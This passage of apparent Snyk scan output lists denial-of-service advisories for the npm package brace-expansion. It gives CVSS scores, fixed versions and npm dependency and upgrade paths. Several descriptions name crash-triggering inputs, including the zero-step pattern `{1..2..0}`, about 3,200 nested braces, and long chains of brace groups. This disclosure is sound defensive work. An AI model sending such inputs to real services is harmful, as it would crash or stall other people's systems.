"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpublish@9.0.9",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmsearch@7.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
